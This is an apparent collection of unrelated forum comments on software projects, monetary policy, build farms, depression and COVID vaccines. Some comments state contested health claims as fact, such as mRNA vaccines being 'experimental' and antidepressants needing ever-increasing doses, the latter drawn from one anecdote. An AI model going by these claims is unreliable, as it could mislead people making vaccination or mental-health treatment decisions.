Once that is solidified, the next phase built upon this tech foundation will be a general purpose bidirectional RPC "sublayer" that operates on any medium (low or high bandwidth, reliable or not, requiring encryption or not) and can be trivially built upon for more specific applications.

Once that is done, I'll use it to move up the chain to actual protocols we need going forward.

There are a bunch of other technologies locked up in my brain as well, but I figure I have about 50-100 man-years backlog already...
There are very few Linux accreditation sources out there. Red Hat is the biggest player. Since the Linux Foundation has become a political venture, they will be treated as such.
Lack of private banking is pretty minor aspect. Comparing to, say, having de-facto scrip instead of proper currency.
There is also the old fashioned way of earning people's trust, by being honest and demonstrating with your actions that you are trustworthy. Censoring discussions, enforcing vaccinations, displaying double standards (elite partying unmasked) and so on are the opposite of that.

Also, to many it may be acceptable to risk some lives in exchange for freedom. In fact society does that all the time, sending people to police the streets, or to wars. Individuals also do risky things for the sake of freedom all the time, for example riding motorbikes or seeking adrenaline kicks in dangerous sports.

More like, intentionally designed to cause mild reactive depression. You even have social media corporations openly admit to running psyops on their users.

depressed people probably spend more money on random bs trying to make themselves happier, or soothe their psychological pain.

f-strings don't "parse user input". .format doesn't have access to objects not explicitly provided to the call, and can't call functions. So again, how do you intend to trigger any of this if not through a hypothetical logger that uses eval?
The first idea I had was "don't". We have a VM where we do all of our changes and then the actual production sever is just a copy of the VM. So we test things on the VM and if it doesn't break, THEN those same changes are made on the production server.

"What gives is that the Fed isn't printing money and lacks the authority to do so."

The Feds only job is to oversee the creation of new money. It was given that power by Congress in 1913:

"The Federal Reserve System — also known as the Federal Reserve or simply as the Fed — is the central banking system of the United States today. The Federal Reserve's power developed slowly in part due to an understanding at its creation that it was to function primarily as a reserve, a money-creator of last resort to prevent the downward spiral of withdrawal/withholding of funds which characterizes a monetary panic."

This is a fairly key part of most actual efforts, in fact many people installing grid batteries are doing so in order to buy low and sell high. That doesnt work if a flat rate has been set.

It uses a custom widget toolkit. Adding touchpad gesture support is certainly doable, but it would benefit only single application, so we haven't prioritized that so far.
> What happens when a depressed person forces themselves to do things that are associated with not being depressed?

Well, the problem is that depression causes a lack of motivation, and the lack of action or inability to do even normal chores continues to fuel the depression. (Depending on its severity it sometimes even impairs people from doing basic tasks like taking care of personal hygiene - there are cases where indiviuals don't brush their teeth or even bathe for weeks; e.g. https://web.archive.org/web/20120305002714/http://damnihateb... ). So to us "normal" individuals these people may look lazy or those that lack discipline, but it's actualy the disease impairing them.

As you guessed though, taking actions is indeed one of the behavioural techniques of Behaviour Therapy or Cognitive Therapy to tackle depression. It does work, and depressed individuals do cite an improvement in their mood when they do some task (especially stuff they have been procrastinating).

But if you consider the cognitive model of depression (i.e. the common thinking patterns of depressed individual), one other aspect of depression is that they don't feel satisfaction or a feeling of accomplishment in doing such tasks. And thus, any mood improvment is only temporary. Which again makes them feel helpless and they regress. Thus, cognitive therapy focuses on not only encouraging behavioural actions, but also working on correcting thought patterns that devalue such actions.

("Perfectionism" is one example of such thought pattern - if something is not "perfect", the individual often devalues the whole work done. Using the same examples you cited, even if you get this kind of individual to do a workout, as soon as s/he misses a workout, they will immediately start to blame themslelves for not being able to "maintain" discipline to the point of becoming dysfunctional..
Yeah I thought this was going to be an article about LSD therapy that’s all the rage again.
But that's not really touching the sun, is it?
A lack of willpower does not make something "borderline impossible". Not to suggest that it's easy to get someone to do something that they don't want to do, but let's not remove personal agency here.

I wonder to what extent this mindset of viewing depression as purely biological is responsible for keeping people in depression by removing their sense of agency over it, as well as fostering dependence on drugs that at best result in temporary relief with a constant need for ever-increasing dosages as desensitization arises, and at worst can actually dramatically worsen one's mental condition (happened to a friend of mine recently who started experiencing depression since COVID lockdowns, was prescribed medication by a therapist, which seemed to be working at first until he started experiencing bipolar psychosis, and has now been switched to another medication and had to have the police called on him after multiple episodes of insanity, and is now on the verge of being sent to a mental hospital)

>Would a change of behavior/lifestyle change the depression?

It can, sure. But as many other commenters have pointed out, depression isn't just one thing. And for many individuals who suffer from major depression, it isn't situational at all, so doing all those things (assuming you can do them), doesn't really change anything at all. Because of what has happened in the world over the last 21 months, it's harder and harder to separate a chronic, deep depression from the situational depression that many people have found themselves in. I've suffered from depression my entire life (I self-diagnosed at age nine but had symptoms going back to at least age six), and even I'm unsure if the depression I'm experiencing now is more situational or more biochemical, just because everything in the world has been such a mess.

I can tell you that for people with deep depression, there is only so much fronting and working-out and socializing a person can do before the energy required to do those things and put on a front, of "acting" OK becomes too much. And that can often explode in a fit of rage/sadness/sorrow, because believe it or not, most depressed people don't want to be depressed and don't want anyone else to know they are depressed.

I can also tell you that there are people who are so depressed they literally cannot get out of bed to take a shower, let along go for a run. They cannot move, not out of laziness, but because the act of physically moving is too mentally and physically taxing and painful. They literally cannot do any of the things that give them any sort of dopamine binge. They don't eat. I was an incredibly active high school athlete (cheerleading and gymnastics) before I fell into my first "can't-get-out-of-bed"/"can't function" period of depression as a 16 year old. I was lucky I had my parents (especially my mom), because she was tireless at finding me the right psychiatrist (six in an 18 month period) and keeping notes of the side-effects of the different medications I kept trying (over 15 before we found a combo that worked at the time and probably that many have been tried since as I've gotten older and my body and biochemistry and hormones have changed), not to mention handling the insurance, taking me to doctor appointments, making sure I could eat. I had to handle more of it myself when I had another major depressive episode in college -- my mom still helped but I didn't live with her anymore and was no longer a minor, whose health she could take an active role in without signing forms that we didn't want to sign. And I had to handle it completely on my own when it happened in my early 30s, and I still had to work and had to expel every ounce of energy I had into getting a job done until I could get the right medication to help me out of it just enough to continue existing.

Trust me, if it was as easy as just forcing yourself into doing things that don't make you depressed, you'd have a whole lot less suicidal people. And you wouldn't have as much excitement around rTMS and Ketamine and other therapies that are starting to show real promise.

Short answer yes! Long answer: Statetrace works at two different levels. The first is to record the raw changes without annotations. Statetrace works 100% with any framework at this level.

There is a part of it about friendship, but it’s more because the world stops being black and white at those levels. Two politicians who come from the opposite sides will have more in common with each other than they will with any of the people who vote for them so it’s only natural that they remain faintly friendly with each other. They have to work together after all, as most things come down to compromises.

>What level of testing would make these vaccines non experimental in your mind, and what other vaccine do you know that has had that level of rigour applied?

There's no "level of testing" except for time. The fact is that we won't know what the effects of these drugs are in 10 years until 10 years passes. We can run studies and make educated guesses about what might happen in the future but they are just that - guesses. Given the numbers from the latest study in Israel (the study that was touted as requiring the need for boosters), the odds of a double vaccinated person over 50 being hospitalized from Covid after their "immunity waned" was 2 in 10,000. The chance of death was 6 in 100,000. The chances for younger people are much lower. Given that, how much of an unknown risk is it worth taking for a "booster"? Just how much lower than 6 in 100,000 is that chance worth? Everything we do in life is a series of calculated risks. The people who want to take that risk now, or multiple times per year for the rest of their lives should be entitled to do so. But to pretend that this new, experimental mRna vaccine is risk free because we ran a few short-term trials is absurd on its face. To mandate people, let alone infants and small children who have virtually no risk, to take an endless series of these experimental shots is madness.

As someone who has struggled with depression: When I'm having a depressive episode, I'm using the same amount of willpower every day to try and force myself to get up, clean the apartment, meet people, go jogging, etc. - it's just that when the episode is bad, the amount of willpower isn't enough, and when it gets better, I can gradually do those things again. Obviously, those things, when I'm able to do them, help - but it's also a feedback loop and I first need to get better for me to be able to start the behavioral changes.

Considering most places I've worked at just bump the minor number in perpetuity, a date-based version conveys a bit more info. Also so much easier to know when it's going out if you have a release cycle (e.g. you don't have to guess what date 3.12354.0 is going to prod, you would know it already from a version like 2021.12.25).

It's honestly incredible how people STILL try to argue that depressed people should "just get over with it", just stop being sad and stop being lazy. My god.

Excuse me, but you have fundamentally failed at understanding what depression even is and apparently conflate it with some rebel teenager phase during puberty by telling people to just get a grip on themselves.

I might agree that the "hurt feelings" framing is unhelpful to an outside observer, but the article mentions butts being grabbed, women getting bear-hugged without consent and people outright ignoring OP's request to "stay professional" while discussing work (at her house, no less). That's seriously toxic behavior and no one should be expected to put up with it. When a toxic, dysfunctional work culture is being enabled like that, even stuff that would usually be dismissed as "marginal" becomes relevant because it's just adding to a huge unaddressed problem.

Pigs make lots of manure, lbs of it.
Oftentimes build farms that I've came across were implemented by leveraging the local dev machines so it would naturally scale with number of devs.
Copying back the debug build is indeed more of an issue as it depends on network gears that rarely scale linearly with headcount. Yet I would expect network transfers to take only a fraction of the build time, if those 500mb of output are associated with the 10mins builds referred to in the OP, possibly even in a WFH environment these days.

I'd rather believe that build farms work better in a more homogeneous environment and require more work to maintain, whereas every individual dev can manage his own machine, especially in our post-distro world (old grumpy man wanted to add: I remember a time when I was a new hire in a company and my manager asked me to attach my desktop to the build farm; I must have had a face like "Huho, sounds complicated" so he added: "I mean, just apt-get install distcc")
